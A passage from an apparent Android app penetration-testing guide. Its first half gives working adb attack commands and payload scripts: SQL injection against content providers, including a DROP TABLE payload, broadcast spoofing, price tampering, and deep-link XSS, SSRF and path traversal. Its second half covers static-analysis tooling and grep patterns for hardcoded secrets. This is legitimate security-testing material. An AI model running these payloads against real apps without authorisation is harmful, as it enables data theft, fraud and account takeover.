# 3. Data manipulation:
adb shell am broadcast -a com.example.app.SET_PRICE \
--ei "product_id" 123 \
--ei "new_price" 1
# 4. Intent spoofing:
adb shell am broadcast -a android.provider.Telephony.SMS_RECEIVED \
--es "sender" "+1234567890" \
--es "body" "Malicious SMS"
# Monitor broadcasts:
adb shell am monitor
# Or:
adb logcat | grep "Broadcast.*$PACKAGE"
# Find all broadcast actions in manifest:
grep 'action android:name' app_decompiled/AndroidManifest.xml | \
grep -v "android.intent.action" | \
sed 's/.*android:name="\([^"]*\)".*/\1/'
Testing Content Providers:
## Query content provider:
adb shell content query --uri "content://$PACKAGE.provider/users"
# Query with projection (specific columns):
adb shell content query --uri "content://$PACKAGE.provider/users" \
--projection id:username:email
# Query with selection (WHERE clause):
adb shell content query --uri "content://$PACKAGE.provider/users" \
--where "id=1"
# Insert data:
adb shell content insert --uri "content://$PACKAGE.provider/users" \
--bind username:s:attacker \
--bind email:s:attacker@evil.com
# Update data:
adb shell content update --uri "content://$PACKAGE.provider/users" \
--where "id=1" \
--bind is_admin:b:true
# Delete data:
adb shell content delete --uri "content://$PACKAGE.provider/users" \
--where "id=1"
# Call provider method:
adb shell content call --uri "content://$PACKAGE.provider" \
--method backupData \
--arg "/sdcard/backup.db"
# ATTACK VECTORS - SQL Injection:
# 1. Basic SQL injection in WHERE clause:
adb shell content query --uri "content://$PACKAGE.provider/users" \
--where "id=1' OR '1'='1"
# 2. UNION-based injection:
adb shell content query --uri "content://$PACKAGE.provider/users" \
--where "id=1' UNION SELECT password FROM admin_users--"
# 3. Time-based blind injection:
adb shell content query --uri "content://$PACKAGE.provider/users" \
--where "id=1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 1 END)--"
# 4. Injection in URI path:
adb shell content query --uri "content://$PACKAGE.provider/users/1' OR '1'='1--"
# 5. Path traversal:
adb shell content query --uri "content://$PACKAGE.provider/../../../system/users"
# Extract provider authorities from manifest:
grep 'android:authorities' app_decompiled/AndroidManifest.xml | \
sed 's/.*android:authorities="\([^"]*\)".*/\1/'
# Automated SQL injection testing:
cat > test_provider_sqli.sh << 'EOF'
#!/bin/bash
PACKAGE="$1"
AUTHORITY="$2"
echo "[*] Testing SQL injection in content provider: $AUTHORITY"
PAYLOADS=(
"1' OR '1'='1"
"1' OR 1=1--"
"1' UNION SELECT NULL--"
"1' AND 1=2 UNION SELECT password FROM users--"
"1'; DROP TABLE users--"
)
for payload in "${PAYLOADS[@]}"; do
echo "[*] Testing payload: $payload"
adb shell content query --uri "content://$AUTHORITY/users" \
--where "id=$payload" 2>&1 | grep -E "Error|Exception|result"
echo ""
done
EOF
chmod +x test_provider_sqli.sh
./test_provider_sqli.sh com.example.app com.example.app.provider
Deep Link Testing
## Test basic deep link:
adb shell am start -W -a android.intent.action.VIEW \
-d "myapp://profile?user_id=123"
# Test with special characters:
adb shell am start -W -a android.intent.action.VIEW \
-d "myapp://profile?user_id=123%27%20OR%20%271%27=%271"
# ATTACK VECTORS:
# 1. XSS in WebView deep link:
adb shell am start -W -a android.intent.action.VIEW \
-d "myapp://webview?url=javascript:alert(document.cookie)"
# 2. File access via deep link:
adb shell am start -W -a android.intent.action.VIEW \
-d "myapp://webview?url=file:///data/data/$PACKAGE/shared_prefs/"
# 3. SSRF via deep link:
adb shell am start -W -a android.intent.action.VIEW \
-d "myapp://api?endpoint=http://169.254.169.254/latest/meta-data/"
# 4. Parameter pollution:
adb shell am start -W -a android.intent.action.VIEW \
-d "myapp://payment?amount=100&amount=999999"
# 5. Path traversal:
adb shell am start -W -a android.intent.action.VIEW \
-d "myapp://download?file=../../../etc/passwd"
# 6. Open redirect:
adb shell am start -W -a android.intent.action.VIEW \
-d "myapp://redirect?url=https://evil.com/phishing"
# 7. Account takeover:
adb shell am start -W -a android.intent.action.VIEW \
-d "myapp://reset-password?token=stolen_token&user=victim"
# Test from browser (via adb shell):
adb shell am start -W -a android.intent.action.VIEW \
-d "intent://profile?user_id=123#Intent;scheme=myapp;package=$PACKAGE;end"
# Automated deep link fuzzing:
cat > fuzz_deeplinks.sh << 'EOF'
#!/bin/bash
PACKAGE="$1"
SCHEME="$2"
echo "[*] Fuzzing deep links for $PACKAGE with scheme $SCHEME"
PAYLOADS=(
"javascript:alert(1)"
"file:///etc/passwd"
"file:///data/data/$PACKAGE/"
"http://169.254.169.254/latest/meta-data/"
"../../../etc/passwd"
"' OR '1'='1"
"<script>alert(1)</script>"
"%00"
"%0a%0d"
)
ENDPOINTS=("webview" "browser" "load" "open" "redirect" "api")
for endpoint in "${ENDPOINTS[@]}"; do
for payload in "${PAYLOADS[@]}"; do
echo "[*] Testing: $SCHEME://$endpoint?url=$payload"
adb shell am start -W -a android.intent.action.VIEW \
-d "$SCHEME://$endpoint?url=$payload" 2>&1 | \
grep -E "Error|Exception|ActivityNotFoundException"
sleep 1
done
done
EOF
chmod +x fuzz_deeplinks.sh
./fuzz_deeplinks.sh com.example.app myapp
Code Review & Static Vulnerability Analysis
#Automated Vulnerability Scanning
#MobSF (Mobile Security Framework) - Comprehensive Scanner:
## Install MobSF via Docker (recommended):
docker pull opensecurity/mobile-security-framework-mobsf:latest
# Run MobSF:
docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
# Access web interface: http://localhost:8000
# Alternative: Install from source
git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF.git
cd Mobile-Security-Framework-MobSF
./setup.sh # Install dependencies
./run.sh # Start MobSF
# API-based scanning (automation):
# Upload APK:
curl -X POST http://localhost:8000/api/v1/upload \
-F "file=@app.apk" \
-H "Authorization: YOUR_API_KEY"
# Scan APK (returns scan_hash):
curl -X POST http://localhost:8000/api/v1/scan \
-F "scan_type=apk" \
-F "file_name=app.apk" \
-F "hash=<FILE_HASH>" \
-H "Authorization: YOUR_API_KEY"
# Get results:
curl -X POST http://localhost:8000/api/v1/report_json \
-F "hash=<SCAN_HASH>" \
-H "Authorization: YOUR_API_KEY" > mobsf_report.json
# MobSF analyzes:
# - Manifest permissions and components
# - Hardcoded secrets and credentials
# - Insecure cryptography
# - Code vulnerabilities
# - Binary analysis
# - Network security
# - Certificate analysis
# OPSEC: Run MobSF in isolated environment for sensitive apps
QARK (Quick Android Review Kit):
## Install QARK:
pip3 install qark
# Scan APK:
qark --apk app.apk
# Scan source code:
qark --java ./app_decompiled/
# Generate JSON report:
qark --apk app.apk --report-type json --output qark-report.json
# Generate HTML report:
qark --apk app.apk --report-type html --output qark-report.html
# Advanced options:
qark --apk app.apk \
--exploit-apk \ # Generate exploit APK for findings
--debug \ # Verbose output
--output ./qark_results
# QARK detects:
# - Exported components vulnerabilities
# - WebView issues
# - Crypto misuse
# - Intents vulnerabilities
# - SQL injection points
# - Path traversal
AndroBugs Framework:
## Install AndroBugs:
git clone https://github.com/AndroBugs/AndroBugs_Framework.git
cd AndroBugs_Framework
# Install dependencies:
pip3 install -r requirements.txt
# Scan APK:
python androbugs.py -f app.apk
# Detailed scan with mode:
python androbugs.py -f app.apk -m massive
# Save report:
python androbugs.py -f app.apk -o androbugs_report.txt
# Batch scanning:
python androbugs.py -d ./apk_directory/ -o ./reports/
# AndroBugs checks:
# - SSL/TLS issues
# - WebView vulnerabilities
# - Intent handling
# - Exported components
# - Hardcoded keys
# - Logging sensitive data
Semgrep:
## Install Semgrep:
pip3 install semgrep
# Scan decompiled Java code:
semgrep --config=auto app_decompiled/
# Use Android-specific rules:
semgrep --config "p/android" app_decompiled/
# Security-focused scan:
semgrep --config "p/security-audit" app_decompiled/
# OWASP ruleset:
semgrep --config "p/owasp-top-ten" app_decompiled/
# Output JSON:
semgrep --config=auto app_decompiled/ --json > semgrep-results.json
# Custom rules for Android:
cat > android-security.yaml << 'EOF'
rules:
- id: android-hardcoded-secret
patterns:
- pattern-either:
- pattern: |
String $VAR = "...";
...
$KEY.contains("password")
- pattern: |
private static final String $API_KEY = "...";
message: Potential hardcoded secret found
severity: ERROR
languages: [java]
- id: android-insecure-webview
pattern: |
$WEBVIEW.getSettings().setJavaScriptEnabled(true);
message: JavaScript enabled in WebView without proper validation
severity: WARNING
languages: [java]
- id: android-sql-injection
pattern: |
$DB.rawQuery($QUERY, ...)
message: Potential SQL injection - use parameterized queries
severity: ERROR
languages: [java]
EOF
semgrep --config android-security.yaml app_decompiled/
# OPSEC: Semgrep excellent for CI/CD integration
Trufflehog (Secret Scanning):
## Install Trufflehog:
pip3 install truffleHog
# Or use standalone binary:
wget https://github.com/trufflesecurity/trufflehog/releases/download/v3.63.0/trufflehog_3.63.0_linux_amd64.tar.gz
tar -xzf trufflehog_3.63.0_linux_amd64.tar.gz
# Scan decompiled source:
trufflehog filesystem app_decompiled/ --json > secrets.json
# Scan specific file types:
trufflehog filesystem app_decompiled/ \
--include "*.java" \
--include "*.xml" \
--json
# High entropy detection:
trufflehog filesystem app_decompiled/ \
--entropy-level 4.5 \
--json
# Verify found secrets:
trufflehog filesystem app_decompiled/ --verify
# Alternative: gitleaks for git repos
gitleaks detect --source app_decompiled/ --report-path gitleaks-report.json
Manual Code Analysis - Systematic Approach
#Search for Sensitive Keywords:
## Navigate to decompiled directory:
cd app_decompiled/
# 1. Authentication & Credentials:
grep -r -i -n -E "(password|passwd|pwd|secret|credential|auth_token)" \
--include="*.java" --include="*.smali" . | tee auth-keywords.txt
# 2. API Keys and Tokens:
grep -r -i -n -E "(api[_-]?key|api[_-]?secret|access[_-]?token|bearer|oauth)" \
--include="*.java" . | tee api-keys.txt
# 3. Encryption Keys:
grep -r -i -n -E "(private[_-]?key|secret[_-]?key|encryption[_-]?key|aes[_-]?key)" \
--include="*.java" . | tee crypto-keys.txt
# 4. Firebase/Backend URLs:
grep -r -n -E "https?://[a-zA-Z0-9.-]+(firebase|aws|azure|herokuapp|api)" \
--include="*.java" --include="*.xml" . | tee endpoints.txt
# 5. Database connections:
grep -r -i -n -E "(jdbc|mongodb|mysql|postgresql|database[_-]?url)" \
--include="*.java" . | tee database-connections.txt
# 6. Hardcoded IPs and internal URLs:
grep -r -n -E "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}" \
--include="*.java" . | tee ip-addresses.txt
# 7. Email addresses (potential info disclosure):
grep -r -n -E "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}" \
--include="*.java" . | tee emails.txt
# 8. Cloud storage keys:
grep -r -i -n -E "(s3[_-]?bucket|azure[_-]?storage|gcs[_-]?bucket)" \
--include="*.java" . | tee cloud-storage.txt
# Advanced search with context (10 lines before/after):
grep -r -i -B 10 -A 10 "api_key" --include="*.java" . > api-key-context.txt
# Search for specific patterns (base64 encoded secrets):
grep -r -n -E "[A-Za-z0-9+/]{40,}={0,2}" --include="*.java" . | tee base64-strings.txt
# Automated sensitive data extraction:
cat > extract_secrets.sh << 'EOF'
#!/bin/bash
DECOMPILED_DIR="$1"
echo "=== Searching for Sensitive Data in $DECOMPILED_DIR ==="
echo -e "\n[*] Searching for hardcoded passwords..."
grep -r -i -n "password\s*=\s*\"" --include="*.java" "$DECOMPILED_DIR" | \
grep -v "PASSWORD_PLACEHOLDER" | head -20
echo -e "\n[*] Searching for API keys..."
grep -r -i -n "api.*key\s*=\s*\"[A-Za-z0-9]" --include="*.java" "$DECOMPILED_DIR" | \
head -20
echo -e "\n[*] Searching for Firebase URLs..."
grep -r -n "firebaseio.com\|firebase.com" --include="*.java" --include="*.xml" \
"$DECOMPILED_DIR" | head -10
echo -e "\n[*] Searching for AWS credentials..."
grep -r -n -E "(AKIA[0-9A-Z]{16}|aws_access_key_id)" --include="*.java" \
"$DECOMPILED_DIR" | head -10
echo -e "\n[*] Searching for private keys..."
grep -r -n "BEGIN.*PRIVATE KEY" --include="*.java" --include="*.pem" \
"$DECOMPILED_DIR" | head -10
echo -e "\n[*] Searching for JWT tokens..."
grep -r -n -E "eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+\." --include="*.java" \
"$DECOMPILED_DIR" | head -10
echo -e "\n=== Search Complete ==="
EOF
chmod +x extract_secrets.sh
./extract_secrets.sh app_decompiled/
Insecure Data Storage Patterns:
## 1. SharedPreferences without encryption:
grep -r -n "getSharedPreferences\|SharedPreferences" --include="*.java" . | \
grep -v "EncryptedSharedPreferences"
# Check for MODE_WORLD_READABLE/WRITABLE (deprecated but still risky):
grep -r -n "MODE_WORLD_READABLE\|MODE_WORLD_WRITABLE" --include="*.java" .
# 2. External storage usage (SD card):
grep -r -n "getExternalStorageDirectory\|getExternalFilesDir\|getExternalCacheDir" \
--include="*.java" .
# 3. Internal storage with improper permissions:
grep -r -n "openFileOutput.*MODE_WORLD" --include="*.java" .
# 4. SQLite database operations:
grep -r -n "SQLiteDatabase\|SQLiteOpenHelper" --include="*.java" . | tee sqlite-usage.txt
# Check for unencrypted database:
grep -r -n "SQLiteDatabase" --include="*.java" . | \
grep -v "SQLCipher\|Encrypted" | head -20
# 5. Logging sensitive data:
grep -r -n "Log\.[dwie].*password\|Log\.[dwie].*token\|Log\.[dwie].*secret" \
--include="*.java" . | head -20
# 6. Clipboard usage (potential data leakage):
grep -r -n "ClipboardManager\|setPrimaryClip\|getPrimaryClip" --include="*.java" .
# 7. Screenshots allowed (FLAG_SECURE not set):
grep -r -n "FLAG_SECURE" --include="*.java" .
# If no results, app allows screenshots on sensitive screens
# Comprehensive storage analysis:
cat > analyze_storage.py << 'EOF'
import os
import re
def analyze_storage_security(decompiled_dir):
issues = {
'unencrypted_prefs': [],
'external_storage': [],
'world_accessible': [],
'logged_sensitive': [],
'clipboard_usage': []
}
for root, dirs, files in os.walk(decompiled_dir):
for file in files:
if file.endswith('.java'):
filepath = os.path.join(root, file)
try:
with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
lines = content.split('\n')
for i, line in enumerate(lines, 1):
# Check SharedPreferences without encryption
if 'getSharedPreferences' in line and \
'EncryptedSharedPreferences' not in content:
issues['unencrypted_prefs'].append(
f"{filepath}:{i}: {line.strip()}"
)
# Check external storage
if re.search(r'getExternalStorage', line):
issues['external_storage'].append(
f"{filepath}:{i}: {line.strip()}"
)
# Check world accessible
if 'MODE_WORLD' in line:
issues['world_accessible'].append(
f"{filepath}:{i}: {line.strip()}"
)
# Check logged sensitive data
if re.search(r'Log\.[dwie].*(?:password|token|secret|key)',
line, re.IGNORECASE):
issues['logged_sensitive'].append(
f"{filepath}:{i}: {line.strip()}"
)
# Check clipboard usage
if 'ClipboardManager' in line or 'setPrimaryClip' in line:
issues['clipboard_usage'].append(
f"{filepath}:{i}: {line.strip()}"
)
except Exception as e:
pass
return issues
if __name__ == '__main__':
import sys
if len(sys.argv) < 2:
print("Usage: python analyze_storage.py <decompiled_dir>")
sys.exit(1)
issues = analyze_storage_security(sys.argv[1])
print("\n=== Storage Security Analysis ===")
for issue_type, findings in issues.items():
if findings:
print(f"\n{issue_type.upper().replace('_', ' ')} ({len(findings)} found):")
for finding in findings[:10]: # Show first 10
print(f" {finding}")
if len(findings) > 10:
print(f" ... and {len(findings) - 10} more")
EOF
python3 analyze_storage.py app_decompiled/
Cryptographic Issues:
## 1. Weak algorithms:
grep -r -i -n -E "(DES\(|\"DES\"|TripleDES|RC4|MD5|SHA1)" --include="*.java" . | \
grep -v "SHA256\|SHA512" | tee weak-crypto.txt
# 2. Hardcoded encryption keys/IVs:
grep -r -n "SecretKeySpec\|IvParameterSpec" --include="*.java" . | tee hardcoded-keys.txt
# Check for hardcoded byte arrays (potential keys):
grep -r -n "byte\[\]\s*\w*\s*=\s*{" --include="*.java" . | head -20
# 3. ECB mode (insecure - no IV):
grep -r -i -n "ECB" --include="*.java" .
# 4. Insecure random number generation:
grep -r -n "new Random()" --include="*.java" . | \
grep -v "SecureRandom" | tee insecure-random.txt
# Should use SecureRandom instead:
grep -r -n "SecureRandom" --include="*.java" .
# 5. Cipher initialization:
grep -r -n "Cipher.getInstance" --include="*.java" . | tee cipher-usage.txt
# Check for proper transformation (should be "AES/GCM/NoPadding" or similar):
grep -r -n 'Cipher.getInstance.*"AES"' --include="*.java" . | \
grep -v "GCM\|CBC"
# 6. Key derivation:
grep -r -n "PBEKeySpec\|PBKDF2" --include="*.java" .
# 7. Certificate pinning implementation:
grep -r -n "CertificatePinner\|TrustManager\|X509TrustManager" --include="*.java" .
# Comprehensive crypto analysis:
cat > analyze_crypto.sh << 'EOF'
#!/bin/bash
DECOMPILED_DIR="$1"
echo "=== Cryptographic Security Analysis ==="
echo -e "\n[HIGH] Weak Algorithms:"
grep -r -i -E "(DES\(|\"DES\"|RC4|MD5(?!.*SHA))" --include="*.java" "$DECOMPILED_DIR" | \
grep -v "MESSAGE" | head -10
echo -e "\n[HIGH] Hardcoded Keys:"
grep -r -n "SecretKeySpec.*new byte\[\]" --include="*.java" "$DECOMPILED_DIR" | head -10
echo -e "\n[MEDIUM] ECB Mode Usage:"
grep -r -i "ECB" --include="*.java" "$DECOMPILED_DIR" | head -10
echo -e "\n[MEDIUM] Insecure Random:"
grep -r -n "new Random()" --include="*.java" "$DECOMPILED_DIR" | \
grep -v "SecureRandom" | head -10
echo -e "\n[INFO] Cipher Implementations:"
grep -r -n "Cipher.getInstance" --include="*.java" "$DECOMPILED_DIR" | head -10
echo -e "\n[INFO] SecureRandom Usage (Good):"
grep -r -n "SecureRandom" --include="*.java" "$DECOMPILED_DIR" | head -5
EOF
chmod +x analyze_crypto.sh
./analyze_crypto.sh app_decompiled/
Network Security Issues:
## 1. SSL/TLS certificate validation bypass:
grep -r -n "TrustManager\|X509TrustManager" --include="*.java" .
# Look for "trust all certificates" patterns:
grep -r -B 5 -A 5 "checkServerTrusted.*{}" --include="*.java" . | tee ssl-bypass.txt
# 2. Hostname verification bypass:
grep -r -n "HostnameVerifier\|ALLOW_ALL_HOSTNAME_VERIFIER" --include="*.java" .
# 3. HTTP usage (not HTTPS):
grep -r -n '"http://' --include="*.java" --include="*.xml" . | \
grep -v "http://schemas\|xmlns" | tee http-usage.txt
# 4. Certificate pinning implementation:
grep -r -n "CertificatePinner" --include="*.java" .
# If no results, app likely doesn't implement pinning (vulnerability)
# 5. WebSocket security:
grep -r -n "ws://\|wss://" --include="*.java" .
# 6. Network Security Config:
cat res/xml/network_security_config.xml 2>/dev/null
# 7. OkHttp interceptors (potential security issues):
grep -r -n "addInterceptor\|Interceptor" --include="*.java" .
# 8. Retrofit/HTTP clients:
grep -r -n "Retrofit\|OkHttpClient\|HttpURLConnection" --include="*.java" . | \
tee http-clients.txt
# Network security analysis script:
cat > analyze_network.py << 'EOF'
import os
import re
def analyze_network_security(decompiled_dir):
issues = {
'ssl_bypass': [],
'hostname_bypass': [],
'http_usage': [],
'no_pinning': True,
'insecure_websocket': []
}
for root, dirs, files in os.walk(decompiled_dir):
for file in files:
if file.endswith('.java'):
filepath = os.path.join(root, file)
try:
with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
# Check SSL bypass
if re.search(r'checkServerTrusted.*\{\s*\}', content):
issues['ssl_bypass'].append(filepath)
# Check hostname bypass
if 'ALLOW_ALL_HOSTNAME_VERIFIER' in content:
issues['hostname_bypass'].append(filepath)
# Check HTTP usage
http_matches = re.findall(r'"http://[^"]+', content)
if http_matches:
for match in http_matches:
if 'schemas.android.com' not in match:
issues['http_usage'].append(f"{filepath}: {match}")
# Check certificate pinning
if 'CertificatePinner' in content:
issues['no_pinning'] = False
# Check insecure WebSocket
if re.search(r'"ws://', content):
issues['insecure_websocket'].append(filepath)
except Exception:
pass
return issues
if __name__ == '__main__':
import sys
if len(sys.argv) < 2:
print("Usage: python analyze_network.py <decompiled_dir>")
sys.exit(1)
issues = analyze_network_security(sys.argv[1])
print("\n=== Network Security Analysis ===")
if issues['ssl_bypass']:
print(f"\n[CRITICAL] SSL Certificate Validation Bypass ({len(issues['ssl_bypass'])} files):")
for f in issues['ssl_bypass'][:5]:
print(f" {f}")
if issues['hostname_bypass']:
print(f"\n[CRITICAL] Hostname Verification Bypass ({len(issues['hostname_bypass'])} files):")
for f in issues['hostname_bypass'][:5]:
print(f" {f}")
if issues['http_usage']:
print(f"\n[HIGH] HTTP Usage Found ({len(issues['http_usage'])} instances):")
for item in issues['http_usage'][:10]:
print(f" {item}")
if issues['no_pinning']:
print("\n[MEDIUM] No Certificate Pinning Implementation Detected")
else:
print("\n[GOOD] Certificate Pinning Implementation Found")
if issues['insecure_websocket']:
print(f"\n[MEDIUM] Insecure WebSocket Usage ({len(issues['insecure_websocket'])} files):")
for f in issues['insecure_websocket'][:5]:
print(f" {f}")
EOF
python3 analyze_network.py app_decompiled/